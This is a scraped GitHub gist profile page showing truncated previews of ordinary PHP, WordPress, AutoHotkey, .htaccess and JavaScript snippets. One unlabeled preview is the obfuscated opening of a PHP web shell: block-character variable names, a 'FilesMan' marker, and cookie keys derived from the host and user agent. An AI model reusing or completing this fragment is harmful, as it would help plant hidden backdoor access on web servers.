Skip to content

Instantly share code, notes, and snippets.

View kosinix's full-sized avatar

Kosinix kosinix

  • Philippines
View GitHub Profile
@kosinix
kosinix / resumable-download.php
Created September 22, 2014 08:46
PHP - resumable download
<?php
class ResumeDownload {
private $file;
private $name;
private $boundary;
private $delay = 0;
private $size = 0;
function __construct($file, $delay = 0) {
if (! is_file($file)) {
@kosinix
kosinix / gist:5354637
Created April 10, 2013 13:30
Get month names using a for loop and PHP date function.
<?php
for($m=1; $m<=12; ++$m){
echo date('F', mktime(0, 0, 0, $m, 1)).'<br>';
}
@kosinix
kosinix / autofocus.ahk
Created December 3, 2023 07:46
Auto focus on a window by its title every 5 seconds. Uses AutoHotkey v1
SetTitleMatchMode, 2
Loop
{
WinActivate, Chrome
Sleep, 5000
}
@kosinix
kosinix / custom-nav-walker-usage.php
Last active April 25, 2023 09:32
WordPress: Using a custom nav walker to create navigation menus in plain <a> tags. That is the <ul> and <li> tags are not present. Very useful if you want to create simple links that can be centered with a simple text-align:center on the containing element.
<?php
// In your template files like footer.php
// The items_wrap value ('%3$s') removes the wrapping <ul>, while the custom walker (Nav_Footer_Walker) removes the <li>'s.
wp_nav_menu(array('items_wrap'=> '%3$s', 'walker' => new Nav_Footer_Walker(), 'container'=>false, 'menu_class' => '', 'theme_location'=>'footer', 'fallback_cb'=>false ));
?>
@kosinix
kosinix / gist:8267252
Last active November 19, 2021 02:04
Prevent Access to Subdomain Folder from Main Domain. Note: Place this in your sub domain's .htaccess file (public_html/subdomain). Change subdomain to actual sub-domain and mysite.com to your main domain.
RedirectMatch ^/subdomain/(.*)$ http://subdomain.mysite.com/$1
@kosinix
kosinix / header.php
Last active October 11, 2021 08:43
WordPress basic CSS for styling nav menus with wp_page_menu taken into account. Supports sub-menus as dropdowns.
<?php
// Somewhere in your header.php add this. container_class and menu_class should match the CSS main class.
wp_nav_menu( array( 'theme_location' => 'primary', 'container_class' => 'nav-menu', 'menu_class' => 'nav-menu' ) );
@kosinix
kosinix / _.cheatsheet.js
Last active August 6, 2021 01:56
Lodash Cheatsheet
// Sort array based on array of sorted IDs
let unsorted = [
{
id: 'bcd'
},
{
id: 'abc'
}
]
<?php
$â–› = "";
$â–˜ = true;
$▜ = 'UTF-8';
$â–š = 'FilesMan';
$â–™ = md5($_SERVER['HTTP_USER_AGENT']);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])) {
prototype(md5($_SERVER['HTTP_HOST'])."key", $â–™);
}
@kosinix
kosinix / gist:5158f604356c3d11ab8855f6f1723544
Created June 13, 2021 23:34
kill all running node app ubuntu
killall -9 node
/**
* Generates random string and password hashing
* @type {module:crypto}
*/
//// Core modules
const crypto = require('crypto');
const util = require('util');
//// External modules